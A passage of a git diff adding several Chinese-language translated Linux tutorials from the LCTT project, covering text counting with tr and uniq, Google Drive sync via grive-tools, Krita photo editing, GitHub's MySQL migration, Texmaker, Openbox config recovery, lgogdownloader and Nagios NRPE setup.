+请检查上面的输出,标点符号居然包括在内。让我们干掉他,用**tr** 命令。GO: + + $ fold -w1 < man.txt | tr '[:lower:]' '[:upper:]' | sort | tr -d '[:punct:]' | uniq -c | sort -rn | head -20 + +### Sample Output ### + + 11636 + 2504 E + 2079 A + 2005 T + 1729 I + 1645 N + 1632 S + 1580 O + 1550 + 1269 R + 1055 L + 836 H + 791 P + 766 D + 753 C + 725 M + 690 U + 605 F + 504 G + 352 Y + +现在,我们有了三个文本,那就让我们用如下命令查看结果吧。 + + $ cat *.txt | fold -w1 | tr '[:lower:]' '[:upper:]' | sort | tr -d '[:punct:]' | uniq -c | sort -rn | head -8 + +### Sample Output ### + + 11636 + 2504 E + 2079 A + 2005 T + 1729 I + 1645 N + 1632 S + 1580 O + +下一步我们将会生成那些罕见的至少十个字母长的单词。以下是简单的脚本: + + $ cat man.txt | tr '' '\012' | tr '[:upper:]' '[:lower:]' | tr -d '[:punct:]' | tr -d '[0-9]' | sort | uniq -c | sort -n | grep -E '..................' | head + +### Sample Output ### + + 1 ────────────────────────────────────────── + 1 a all + 1 abc any or all arguments within are optional + 1 able see setlocale for precise details + 1 ab options delimited by cannot be used together + 1 achieved by using the less environment variable + 1 a child process returned a nonzero exit status + 1 act as if this option was supplied using the name as a filename + 1 activate local mode format and display local manual files + 1 acute accent + +**注**: 上面的.越来越多,其实,我们可以使用.{10} 得到同样的效果。 + +这些简单的脚本,让我们知道最频繁出现的单词和英语中的字符。 + +现在结束了。下次我会在这里讲到另一个有趣的话题,你应该会喜欢读。还有别忘了向我们提供您的宝贵意见。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/play-with-word-and-character-counts-in-linux/ + +作者:[Avishek Kumar][a] +译者:[MikeCoder](https://github.com/MikeCoder) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/avishek/ +[1]:http://www.tecmint.com/wc-command-examples/ \ No newline at end of file diff --git a/published/201410/20140902 Mount Google drive in Ubuntu 14.04 LTS.md b/published/201410/20140902 Mount Google drive in Ubuntu 14.04 LTS.md new file mode 100644 index 0000000000..66ebd14a6c --- /dev/null +++ b/published/201410/20140902 Mount Google drive in Ubuntu 14.04 LTS.md @@ -0,0 +1,61 @@ +墙外香花:Google drive和Ubuntu 14.04 LTS的胶合 +================================================================================ +Google尚未发布用于从Ubuntu访问其drive的**官方Linux客户端**。然开源社区却业已开发完毕非官方之软件包‘**grive-tools**’。 + +Grive乃是Google Drive(**在线存储服务**)的GNU/Linux系统客户端,允许你**同步**所选目录到云端,以及上传新文件到Google Drive。 + +### grive-tools安装步骤 ### + +步骤:1 使用下列命令添加grive-tools PPA: + + # sudo add-apt-repository ppa:thefanclub/grive-tools + +步骤:2 更新列表 + + #sudo apt-get update + +步骤:3 安装grive-tools + + # sudo apt-get install grive-tools + +### 访问Google Drive的步骤 ### + +**步骤:1** 安装完了,通过输入**Grive**在**Unity Dash**搜索应用,并打开之。 + +![](http://www.linuxtechi.com/wp-content/uploads/2014/09/access-grive-setup-1.jpg) + +**步骤:2** 登入google drive,你将被问及访问google drive的权限。 + +![](http://www.linuxtechi.com/wp-content/uploads/2014/09/gdrive.png) + +点击**下一步**时,新的浏览器中讲打开**Google登录页** + +登入你的Google帐号,并点击**接受**,如下所示: + +![](http://www.linuxtechi.com/wp-content/uploads/2014/09/thrid-party-grive.png) + +**步骤:3** 下面将提供给你一个 **google代码**,复制并粘贴到**Grive设置框**内。 + +![](http://www.linuxtechi.com/wp-content/uploads/2014/09/gdrive-code-1.jpg) + +![](http://www.linuxtechi.com/wp-content/uploads/2014/09/code-in-grive-1.jpg) + +点击下一步后,将会开始同步google drive到你**家目录**下的‘**Google Drive**’文件夹。完成后,将出现如下窗口。 + +![](http://www.linuxtechi.com/wp-content/uploads/2014/09/grive-installation-completed.png) + +Google Drive 文件夹会创建在**用户的主目录**下。 + +![](http://www.linuxtechi.com/wp-content/uploads/2014/09/google-drive-folder-1.jpg) + +-------------------------------------------------------------------------------- + +via: http://www.linuxtechi.com/mount-google-drive-in-ubuntu/ + +作者:[Pradeep Kumar][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.linuxtechi.com/author/pradeep/ diff --git a/published/201410/20140902 Photo Editing on Linux with Krita.md b/published/201410/20140902 Photo Editing on Linux with Krita.md new file mode 100644 index 0000000000..3e36fb76ad --- /dev/null +++ b/published/201410/20140902 Photo Editing on Linux with Krita.md @@ -0,0 +1,76 @@ +在 Linux 下用 Krita 进行照片编辑 +================================================================================ +
+
图 1:侏儒山羊 Annabelle
+ +[Krita][1] 是一款很棒的绘图应用,同时也是很不错的照片编辑器。今天我们将学习如何给图片添加文字,以及如何有选择地锐化照片的某一部分。 + +### Krita 简介 ### + +与其他绘图/制图应用类似,Krita 内置了数百种工具和选项,以及多种处理方法。因此它值得我们花点时间来了解一下。 + +Krita 默认使用了暗色主题。我不太喜欢暗色主题,但幸运的是 Krita 还有其他很赞的主题,你可以在任何时候通过菜单里的“设置 > 主题”进行更改。 + +Krita 使用了窗口停靠样式的工具条。如果左右两侧面板的 Dock 工具条没有显示,检查一下“设置 > 显示工具条”选项,你也可以在“设置 > 工具条”中对工具条按你的偏好进行调整。不过隐藏的工具条也许会让你感到一些小小的不快,它们只会在一个狭小的压扁区域展开,你看不见其中的任何东西。你可以拖动它们至顶端或者 Krita 窗口的一侧,放大或者缩小它们,甚至你可以把它们拖到 Krita 外,放在你显示屏的任意位置。如果你把其中一个工具条拖到了另一个工具条上,它们会自动合并成一个工具条。 + +当你配置好比较满意的工作区后,你可以在“选择工作区”内保存它。你可以在笔刷工具条(通过“设置 > 显示工具条”开启显示)的右侧找到“选择工作区”。其中有对工作区的不同配置,当然你也可以创建自己的配置(图 2)。 + +
+
图 2:在“选择工作区”里保存用户定制的工作区。
+ +Krita 中有多重缩放控制方法。Ctrl + “=” 放大,Ctrl + “-” 缩小,Ctrl + “0” 重置为 100% 缩放画面。你也可以通过“视图 > 缩放”,或者右下角的缩放条进行控制。在缩放条的左侧还有一个下拉式的缩放菜单。 + +工具菜单位于窗口左部,其中包含了锐化和选择工具。你必须移动光标到每个工具上,才能查看它的标签。工具选项条总是显示当前正在使用的工具的选项,默认情况下工具选项条位于窗口右部。 + +### 裁切工具 ### + +当然,在工具菜单条中有裁切工具,并且非常易于使用。把你想要选择的区域用矩形圈定,使用拖拽的方式来调整选区,调整完毕后点击返回按钮。在工具选项条中,你可以选择对所有图层应用裁切,还是只对当前图层应用裁切,通过输入具体数值,或者是百分比调整尺寸。 + +### 添加文本 ### + +当你想在照片上添加标签或者说明这类简单文本的时候,Krita 也许会让你眼花缭乱,因为它有太多的艺术字效果可供选择了。但 Krita 同时也支持添加简单的文字。点击文本工具条,你将会看到工具选项条如图 3 那样。 + +
+
图 3:文本选项。
+ +点击展开按钮。这将显示简单文本工具;首先绘制矩形文本框,接着在文本框内输入文字。工具选项条中有所有常用的文本格式选项:文本选择、文本尺寸、文字与背景颜色、边距,以及一系列图形风格。但你处理完文本后点击外观处理工具,外观处理工具的按钮是一个白色的箭头,在文本工具按钮旁边,通过外观处理工具你可以调整文字整体的尺寸、外观还有位置。外观处理工具的工具选项包括多种不同的线条、颜色还有边距。图 4 是我为我那些蜗居在城市里的亲戚们发送的一幅带有愉快标题的照片。 + +
+
图 4:来这绿色农场吧。
+ +如何处理你的照片上已经存在的文字?点击外观处理工具,在文本区域内双击。这将使文本进入编辑模式,从文本框内出现的光标可以看出这一点。现在,你就可以开始选择文字、添加文字、更改格式,等等。 + +### 锐化选区 ### + +外观编辑上,Krita 有许多很棒的工具。在图 5 中我想要锐化 Annabelle 的脸和眼睛。(Annabelle 住在隔壁,但她很喜欢我的狗,在我这里呆了很长一段时间。我的狗却因为害怕她而跑了,但她却一点也不气馁。)首先通过“外形选区”工具选择一个区域。接着打开“滤镜 > 增强 > 虚边蒙板”。你可以调节三个变量:半长值、总量以及阈值。大多数图像编辑软件都有半径、总量和阀值的设置。半径是直径的一半,因此从技术上来说“半长值”是正确的,但却可能造成不必要的混乱。 + +
+
图 5:选取任意的区域进行编辑。
+ +半长值决定了锐化线条的粗细。你需要足够大的数值来产生较好的结果,但很明显,不要过大。 + +阀值决定了锐化时两个像素点之间的效果差异。“0”是锐化的最大值,“99”则表示不进行锐化。 + +总量控制着锐化强度;其值越高锐化程度越高。 + +锐化基本上是你处理照片的最后一步,因为它和你对照片所做的一切处理都有关:裁切、改变尺寸、颜色、色差...如果你先进行锐化再进行其他操作,你的锐化效果将变得一团糟。 + +接着,你要问,“虚化蒙板”是什么意思?这个名字来源于锐化技术:虚化蒙板滤镜在原始图像上覆盖一层模糊的蒙板,接着在上面分层进行虚化蒙板。这将使图像比直接锐化产生更加锐利清晰的效果。 + +今天要说的就这么多。有关 Krita 的资料很多,但比较杂乱。你可以从 [Krita Tutorials][2] 开始学习,也可以在 YouTube 上找寻相关的学习视频。 + +- [krita 官方网站][1] + +-------------------------------------------------------------------------------- + +via: http://www.linux.com/learn/tutorials/786040-photo-editing-on-linux-with-krita + +作者:[Carla Schroder][a] +译者:[SteveArcher](https://github.com/SteveArcher) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.linux.com/community/forums/person/3734 +[1]:https://krita.org/ +[2]:https://krita.org/learn/tutorials/ diff --git a/published/201410/20140904 Making MySQL Better at GitHub.md b/published/201410/20140904 Making MySQL Better at GitHub.md new file mode 100644 index 0000000000..1aeea36c03 --- /dev/null +++ b/published/201410/20140904 Making MySQL Better at GitHub.md @@ -0,0 +1,92 @@ + GitHub 是如何迁移 MySQL 集群的 +================================================================================ +> 在 GitHub 我们总是说“如果网站响应速度不够快,我们就不应该让它上线运营”。我们之前在[前端的体验速度][1]这篇文章中介绍了一些提高网站响应速率的方法,但这只是故事的一部分。真正影响到 GitHub.com 性能的因素是 MySQL 数据库架构。让我们来瞧瞧我们的基础架构团队是如何无缝升级了 MySQL 架构吧,这事儿发生在去年8月份,成果就是大大提高了 GitHub 网站的速度。 + +### 任务 ### + +去年我们把 GitHub 上的大部分数据移到了新的数据中心,这个中心有世界顶级的硬件资源和网络平台。自从使用了 MySQL 作为我们的后端系统的基础,我们一直期望着一些改进来大大提高数据库性能,但是在数据中心使用全新的硬件来部署一套全新的集群环境并不是一件简单的工作,所以我们制定了一套计划和测试工作,以便数据能平滑过渡到新环境。 + +### 准备工作 ### + +像我们这种关于架构上的巨大改变,在执行的每一步都需要收集数据指标。新机器上安装好了基本的操作系统,接下来就是测试新配置下的各种性能。为了模拟真实的工作负载环境,我们使用 tcpdump 工具从旧的集群那里复制正在发生的 SELECT 请求,并在新集群上重新回放一遍。 + +MySQL 调优是个繁琐的细致活,像众所周知的 innodb_buffer_pool_size 这个参数往往能对 MySQL 性能产生巨大的影响。对于这类参数,我们必须考虑在内,所以我们列了一份参数清单,包括 innodb_thread_concurrency,innodb_io_capacity,和 innodb_buffer_pool_instances,还有其它的。 + +在每次测试中,我们都很小心地只改变一个参数,并且让一次测试至少运行12小时。我们会观察响应时间的变化曲线,每秒的响应次数,以及有可能会导致并发性降低的参数。我们使用 “SHOW ENGINE INNODB STATUS” 命令打印 InnoDB 性能信息,特别观察了 “SEMAPHORES” 一节的内容,它为我们提供了工作负载的状态信息。 + +当我们在设置参数后对运行结果感到满意,然后就开始将我们最大的数据表格之一迁移到一套独立的集群上,这个步骤作为整个迁移过程的早期测试,以保证我们的核心集群有更多的缓存池空间,并且为故障切换和存储功能提供更强的灵活性。这步初始迁移方案也引入了一个有趣的挑战:我们必须维持多条客户连接,并且要将这些连接指向到正确的集群上。 + +除了硬件性能的提升,还需要补充一点,我们同时也对处理进程和拓扑结构进行了改进:我们添加了延时拷贝技术,更快、更高频地备份数据,以及更多的读拷贝空间。这些功能已经准备上线。 + +### 列出任务清单,三思后行 ### + +每天有上百万用户的使用 GitHub.com,我们不可能有机会等没有人用了才进行实际数据切换。我们有一个详细的[任务清单][2]来执行迁移: + +![](https://cloud.githubusercontent.com/assets/1155781/4116929/13fc6f50-328b-11e4-837b-922aad3055a8.png) + +我们还规划了一个维护期,并且[在我们的博客中通知了大家][3],让用户注意到这件事情。 + +### 迁移时间到 ### + +太平洋时间星期六上午5点,我们的迁移团队上线集合对话,同时数据迁移正式开始: + +![](https://cloud.githubusercontent.com/assets/1155781/4060850/39f52cd4-2df3-11e4-9aca-1f54a4870d24.png) + +我们将 GitHub 网站设置为维护模式,并在 Twitter 上发表声明,然后开始按上述任务清单的步骤开始工作: + +![](https://cloud.githubusercontent.com/assets/1155781/4060864/54ff6bac-2df3-11e4-95da-b059c0ec668f.png) + +**13 分钟**后,我们确保新的集群能正常工作: + +![](https://cloud.githubusercontent.com/assets/1155781/4060870/6a4c0060-2df3-11e4-8dab-654562fe628d.png) + +然后我们让 GitHub.com 脱离维护模式,并且让全世界的用户都知道我们的最新状态: + +![](https://cloud.githubusercontent.com/assets/1155781/4060878/79b9884c-2df3-11e4-98ed-d11818c8915a.png) + +大量前期的测试工作与准备工作,让我们将维护期缩到最短。 + +### 检验最终的成果 ### + +在接下来的几周时间里,我们密切监视着 GitHub.com 的性能和响应时间。我们发现迁移后网站的平均加载时间减少一半,并且在99%的时间里,能减少*三分之二*: + +![](https://cloud.githubusercontent.com/assets/1155781/4060886/9106e54e-2df3-11e4-8fda-a4c64c229ba1.png) + +### 我们学到了什么 ### + +#### 功能划分 #### + +在迁移过程中,我们采用了一个比较好的方法是:将大的数据表(主要记录了一些历史数据)先迁移过去,空出旧集群的磁盘空间和缓存池空间。这一步给我们留下了更多的资源用于“热”数据,将一些连接请求分离到多套集群里面。这步为我们之后的胜利奠定了基础,我们以后还会使用这种模式来进行迁移工作。 + +#### 测试测试测试 #### + +为你的应用做验收测试和回归测试,越多越好,多多益善,不要嫌多。从老集群复制数据到新集群的过程中,如果进行验收测试和响应状态测试,得到的数据是不准的,如果数据不理想,这是正常的,不要惊讶,不要试图拿这些数据去分析原因。 + +#### 合作的力量 #### + +对基础架构进行大的改变,通常需要涉及到很多人,我们要像一个团队一样为共同的目标而合作。我们的团队成员来自全球各地。 + +团队成员地图: + +https://render.githubusercontent.com/view/geojson?url=https://gist.githubusercontent.com/anonymous/5fa29a7ccbd0101630da/raw/map.geojson + +本次合作新创了一种工作流程:我们提交更改(pull request),获取实时反馈,查看修改了错误的 commit —— 全程没有电话交流或面对面的会议。当所有东西都可以通过 URL 提供信息,不同区域的人群之间的交流和反馈会变得非常简单。 + +### 一年后…… ### + +整整一年时间过去了,我们很高兴地宣布这次数据迁移是很成功的 —— MySQL 性能和可靠性一直处于我们期望的状态。另外,新的集群还能让我们进一步去升级,提供更好的可靠性和响应时间。我将继续记录这些优化过程。 + +-------------------------------------------------------------------------------- + +via: https://github.com/blog/1880-making-mysql-better-at-github + +作者:[samlambert][a] +译者:[bazz2](https://github.com/bazz2) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://github.com/samlambert +[1]:https://github.com/blog/1756-optimizing-large-selector-sets +[2]:https://help.github.com/articles/writing-on-github#task-lists +[3]:https://github.com/blog/1603-site-maintenance-august-31st-2013 diff --git a/published/201410/20140904 Use LaTeX In Ubuntu 14.04 and Linux Mint 17 With Texmaker.md b/published/201410/20140904 Use LaTeX In Ubuntu 14.04 and Linux Mint 17 With Texmaker.md new file mode 100644 index 0000000000..c754b4a2f6 --- /dev/null +++ b/published/201410/20140904 Use LaTeX In Ubuntu 14.04 and Linux Mint 17 With Texmaker.md @@ -0,0 +1,47 @@ +在 Ubuntu 14.04 和 Linux Mint 17 中通过 Texmaker 来使用LaTeX +================================================================================ +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/09/texmaker_Ubuntu.jpeg) + +[LaTeX][1]是一种文本标记语言,也可以说是一种文档编撰系统。在很多大学或者机构中普遍作为一种标准来书写专业的科学文献、毕业论文或其他类似的文档。在这篇文章中,我们会看到如何在Ubuntu 14.04中使用LaTeX。 + +### 在 Ubuntu 14.04 或 Linux Mint 17 中安装 Texmaker 来使用LaTeX + +[Texmaker][2]是一款免费开源的LaTeX编辑器,它支持一些主流的桌面操作系统,比如Window,Linux和OS X。下面是Texmaker的主要特点: + +- 支持Unicode编码的编辑器 +- 拼写检查 +- 代码折叠 +- 自动补全 +- 快速导航 +- PDF查看器 +- 编译简单 +- 支持370个数学符号 +- LaTeX格式文本 +- 通过TeX4ht导出到html和odt文件 +- 支持正则表达式 + +在Ubuntu 14.04下,你可以通过下面的链接下载Texmaker的二进制包 + +- [下载Texmaker编辑器][3] + +你通过上述链接下载到的是一个.deb包,因此你在一些像Linux Mint,Elementary OS,Pinguy OS等等类Debain的发行版中可以使用相同的安装方式。 + +如果你想使用像Github式的markdown编辑器,你可以试试[Remarkable编辑器][4]。 + +希望Texmaker能够在Ubuntu和Linux Mint中帮到你。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/install-latex-ubuntu-1404/ + +作者:[Abhishek][a] +译者:[john](https://github.com/johnhoow) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/Abhishek/ +[1]:http://www.latex-project.org/ +[2]:http://www.xm1math.net/texmaker/index.html +[3]:http://www.xm1math.net/texmaker/download.html#linux +[4]:http://itsfoss.com/remarkable-markdown-editor-linux/ diff --git a/published/201410/20140910 How To Recover Default Openbox Config Files On Crunchbang.md b/published/201410/20140910 How To Recover Default Openbox Config Files On Crunchbang.md new file mode 100644 index 0000000000..579b45bd10 --- /dev/null +++ b/published/201410/20140910 How To Recover Default Openbox Config Files On Crunchbang.md @@ -0,0 +1,38 @@ +如何在Crunchbang下恢复Openbox的默认配置 +================================================================================ +[CrunchBang][1]是一个很好地融合了速度、风格和内容的基于Debian GNU/Linux的发行版。使用了灵活的Openbox窗口管理器,高度定制化并且提供了一个现代、全功能的GNU/Linux系统而没有牺牲性能。 + +Crunchbang是高度自定义的,用户可以尽情地地把它调整成他们想要的样子。这一切都通过文本文件(配置)。我作为一个Crunchbang用户,我最近搞乱了我的**menu.xml**配置文件,它负责下面的菜单显示。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/09/curnchbang_menu_xml.png) + +我的菜单配置文件中丢失了所有内容。由于我没有备份(最好备份配置文件)。我不得不搜索Crunchbang安装后的默认配置。这里就是我如何修复的过程,这里要感谢Crunchbang论坛。 + +了解所有为你预备份的默认配置是很有趣的,你可以在这里找到: + + /etc/skel/.config/ + +因此对于任何默认配置,你只需复制他们并重启适当的程序。 + +我在这里使用Openbox的**menu.xml**作为示例: + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/09/curnchbang_menu_xml_etc.png) + + cp -r /etc/skel/.config/openbox/menu.xml ~/.config/openbox/menu.xml + +接着重启openbox。 + + openbox --restart + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/recover-default-openbox-config-files-crunchbang/ + +作者:[Enock Seth Nyamador][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.unixmen.com/author/seth/ +[1]:http://crunchbang.org/ \ No newline at end of file diff --git a/published/201410/20140910 How to download GOG games from the command line on Linux.md b/published/201410/20140910 How to download GOG games from the command line on Linux.md new file mode 100644 index 0000000000..b168d9365b --- /dev/null +++ b/published/201410/20140910 How to download GOG games from the command line on Linux.md @@ -0,0 +1,75 @@ +如何在Linux命令行中下载GOG游戏 +================================================================================ +如果你是一个游戏玩家同时也是一个Linux用户,你可能很高兴在[GOG][1]在几个月前宣布它会在你最喜欢的操作系统上推出游戏。如果你之前从来没有听说过GOG,我鼓励你看看他们的产品目录中的“很棒的老游戏”,价格合理,无DRM限制,而且充满了很棒的东西。虽然Windows上的GOG客户端已经存在了很长的时间,但是官方的Linux版本客户端却是无处可见。因此,如果你不想等待官方的正式版本,一个名为LGOGDownloader非官方的开放源码计划能让你在命令行中访问你的库。 + +![](https://farm4.staticflickr.com/3843/15121593356_b13309c70f_z.jpg) + +### 在Linux中安装 LGOGDownloader ### + +对于Ubuntu用户来说,其[官方页面][2]建议您下载源代码并执行: + + $ sudo apt-get install build-essential libcurl4-openssl-dev liboauth-dev libjsoncpp-dev libhtmlcxx-dev libboost-system-dev libboost-filesystem-dev libboost-regex-dev libboost-program-options-dev libboost-date-time-dev libtinyxml-dev librhash-dev help2man + $ tar -xvzf lgogdownloader-2.17.tar.gz + $ cd lgogdownloader-2.17 + $ make release + $ sudo make install + +如果你是ArchLinux用户。有一个[AUR 包][2]等着你: + +### LGOGDownloader 的使用### + +一旦安装了该程序,你需要用下面的命令登录: + + $ lgogdownloader --login + +![](https://farm6.staticflickr.com/5593/15121593346_9c5d02d5ce_z.jpg) + +如果你需要配置文件,那它在这里:~/.config/lgogdownloader/config.cfg + +验证通过后,你可以列出你库中所有的游戏: + + $ lgogdownloader --list + +![](https://farm6.staticflickr.com/5581/14958040387_8321bb71cf.jpg) + +用下面的命令下载游戏: + + $ lgogdownloader --download --game [game name] + +![](https://farm6.staticflickr.com/5585/14958040367_b1c584a2d1_z.jpg) + +你可以注意到lgogdownloader允许你恢复之前中断的下载,这当下载的游戏并不小时是很有用的。 + +像每一个可敬的命令行实用程序,您可以添加各种选项: + +- **--platform [number]** 选择您的操作系统,1是 Windows, 4是Linux。 +- **--directory [destination]** 下载安装包到指定的目录。 +- **--language [number]** 下载特定的语言包 (根据你的语言查阅手册上对应的数字)。 +- **--limit-rate [speed]** 限制下载速度。 + +一个额外的福利,lgogdownloader同样可以检查GOG网站上的更新: + + $ lgogdownloader --update-check + +![](https://farm4.staticflickr.com/3882/14958035568_7889acaef0.jpg) + +结果将列出论坛上收到的私人邮件的数量以及更新的游戏数量。 + +最后,lgogdownloader是非常标准的命令行实用工具。我甚至可以说,它是清晰和连贯性的一个缩影。我们距离Steam Linux客户端的确还差的很远,但在另一方面,官方GOG Windows客户端不会做的比这个非官方的Linux版本更多。换句话说lgogdownloader是一个完美的替代品。我等不及要看到GOG上更多的Linux兼容游戏,尤其是在他们最近公告称会提供的无DRM电影,会有视频游戏的专题。希望在电影目录中有游戏库时能在客户端看到更新。 + +你觉得GOG怎么样?你会使用非官方的Linux客户端么?让我们在评论中知道你的想法。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/09/download-gog-games-command-line-linux.html + +作者:[Adrien Brochard][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/adrien +[1]:http://www.gog.com/ +[2]:https://sites.google.com/site/gogdownloader/home +[3]:https://aur.archlinux.org/packages/lgogdownloader/ \ No newline at end of file diff --git a/published/201410/20140910 How to set up Nagios Remote Plugin Executor (NRPE) in Linux.md b/published/201410/20140910 How to set up Nagios Remote Plugin Executor (NRPE) in Linux.md new file mode 100644 index 0000000000..9dc66f147d --- /dev/null +++ b/published/201410/20140910 How to set up Nagios Remote Plugin Executor (NRPE) in Linux.md @@ -0,0 +1,236 @@ +如何在 Linux 环境下配置 Nagios Remote Plugin Executor (NRPE) +================================================================================ +就网络管理而言,Nagios 是最强大的工具之一。Nagios 可以监控远程主机的可访问性,以及其中正在运行的服务的状态。不过,如果我们想要监控远程主机中网络服务以外的东西呢?比方说,我们可能想要监控远程主机上的磁盘利用率或者 [CPU 处理器负载][1]。Nagios Remote Plugin Executor(NRPE)便是一个可以帮助你完成这些操作的工具。NRPE 允许你执行在远程主机上安装的 Nagios 插件,并且将它们集成到一个[已经存在的 Nagios 服务器][2]里。 + +本教程将会介绍如何在一个已经部署好的 Nagios 中配置 NRPE。本教程主要分为两部分: + +- 配置远程主机。 +- 配置 Nagios 监控服务器。 + +之后我们会以定义一些可以被 NRPE 使用的自定义命令来结束本教程。 + +### 为 NRPE 配置远程主机 ### + +#### 第一步:安装 NRPE 服务 #### + +你需要在你想要使用 NRPE 监控的每一台远程主机上安装 NRPE 服务。每一台远程主机上的 NRPE 服务守护进程将会与一台 Nagios 监控服务器进行通信。 + +NRPE 服务所需要的软件包可以很容易地用 apt-get 或者 yum 来安装,取决于所在的平台。对于 CentOS 来说,由于 NRPE 并不在 CentOS 的仓库中,我们需要[添加 Repoforge 仓库][3]。 + +**对于 Debian、Ubuntu 或者 Linux Mint:** + + # apt-get install nagios-nrpe-server + +**对于 CentOS、Fedora 或者 RHEL:** + + # yum install nagios-nrpe + +#### 第二步:准备配置文件 #### + +配置文件 /etc/nagios/nrpe.cfg 在基于 Debian 或者 RedHat 的系统中比较相近。让我们备份并修改配置文件: + + # vim /etc/nagios/nrpe.cfg + +---------- + + ## NRPE 服务端口是可以自定义的 ## + server_port=5666 + + ## 允许 Nagios 监控服务器访问 ## + ## 注意:逗号后面没有空格 ## + allowed_hosts=127.0.0.1,X.X.X.X-IP_v4_of_Nagios_server + + ## 下面的例子中我们硬编码了参数。 + ## 这些参数可以按需修改。 + + ## 注意:对于 CentOS 64 位用户,请使用 /usr/lib64 替代 /usr/lib ## + + command[check_users]=/usr/lib/nagios/plugins/check_users -w 5 -c 10 + command[check_load]=/usr/lib/nagios/plugins/check_load -w 15,10,5 -c 30,25,20 + command[check_hda1]=/usr/lib/nagios/plugins/check_disk -w 20% -c 10% -p /dev/hda1 + command[check_zombie_procs]=/usr/lib/nagios/plugins/check_procs -w 5 -c 10 -s Z + command[check_total_procs]=/usr/lib/nagios/plugins/check_procs -w 150 -c 200 + +现在配置文件已经准备好了,NRPE 服务已经可以启动了。 + +#### 第三步:初始化 NRPE 服务 #### + +对于基于 RedHat 的系统,NRPE 服务需要被添加为启动服务。 + +**对于 Debian、Ubuntu、Linux Mint:** + + # service nagios-nrpe-server restart + +**对于 CentOS、Fedora 或者 RHEL:** + + # service nrpe restart + # chkconfig nrpe on + +#### 第四步:验证 NRPE 服务状态 #### + +NRPE 守护进程的状态信息可以在系统日志中找到。对于基于 Debian 的系统,日志文件在 /var/log/syslog,而基于 RedHat 的系统的日志文件则是 /var/log/messages。下面提供一段样例日志以供参考: + + nrpe[19723]: Starting up daemon + nrpe[19723]: Listening for connections on port 5666 + nrpe[19723]: Allowing connections from: 127.0.0.1,X.X.X.X + +如果使用了防火墙,被 NRPE 守护进程使用的 TCP 端口 5666 应该被开启。 + + # netstat -tpln | grep 5666 + +---------- + + tcp 0 0 0.0.0.0:5666 0.0.0.0:* LISTEN 19885/nrpe + +### 为 NRPE 配置 Nagios 监控服务器 ### + +为 NRPE 配置已有的 Nagios 监控服务器的第一步是在服务器上安装 NRPE 插件。 + +#### 第一步:安装 NRPE 插件 #### + +当 Nagios 服务器运行在基于 Debian 的系统(Debian、Ubuntu 或者 Linux Mint)上时,需要的软件包可以通过 apt-get 安装。 + + # apt-get install nagios-nrpe-plugin + +插件安装完成后,对随插件安装的 check_nrpe 命令稍作修改。 + + # vim /etc/nagios-plugins/config/check_nrpe.cfg + +---------- + + ## 默认命令会被覆盖 ## + define command{ + command_name check_nrpe + command_line /usr/lib/nagios/plugins/check_nrpe -H '$HOSTADDRESS$' -c '$ARG1$' + } + +如果 Nagios 服务器运行在基于 RedHat 的系统(CentOS、Fedora 或者 RHEL)上,你可以通过 yum 安装 NRPE 插件。对于 CentOS,[添加 Repoforge 仓库][4] 是必要的。 + + # yum install nagios-plugins-nrpe + +现在 NRPE 插件已经安装完成,继续下面的步骤以配置一台 Nagios 服务器。 + +#### 第二步:为 NRPE 插件定义 Nagios 命令 #### + +我们需要首先在 Nagios 中定义一个命令来使用 NRPE。 + + # vim /etc/nagios/objects/commands.cfg + +---------- + + ## 注意:对于 CentOS 64 位用户,请使用 /usr/lib64 替代 /usr/lib ## + define command{ + command_name check_nrpe + command_line /usr/lib/nagios/plugins/check_nrpe -H '$HOSTADDRESS$' -c '$ARG1$' + } + +#### 第三步:添加主机与命令定义 #### + +接下来定义远程主机以及我们将要在它们上面运行的命令。 + +下面的例子为一台远程主机定义了一个可以在上面执行的命令。一般来说,你的配置需要按照你的需求来改变。配置文件的路径在基于 Debian 和基于 RedHat 的系统上略有不同,不过文件的内容是完全一样的。 + +**对于 Debian、Ubuntu 或者 Linux Mint:** + + # vim /etc/nagios3/conf.d/nrpe.cfg + +**对于 CentOS、Fedora 或者 RHEL:** + + # vim /etc/nagios/objects/nrpe.cfg + +---------- + + define host{ + use linux-server + host_name server-1 + alias server-1 + address X.X.X.X-IPv4_address_of_remote_host + } + + define service { + host_name server-1 + service_description Check Load + check_command check_nrpe!check_load + check_interval 1 + use generic-service + } + +#### 第四步:重启 Nagios 服务 #### + +在重启 Nagios 之前,可以通过测试来验证配置。 + +**对于 Ubuntu、Debian 或者 Linux Mint:** + + # nagios3 -v /etc/nagios3/nagios.cfg + +**对于 CentOS、Fedora 或者 RHEL:** + + # nagios -v /etc/nagios/nagios.cfg + +如果一切正常,我们就可以重启 Nagios 服务了。 + + # service nagios restart + +![](https://farm8.staticflickr.com/7024/13330387845_0bde8b6db5_z.jpg) + +### 为 NRPE 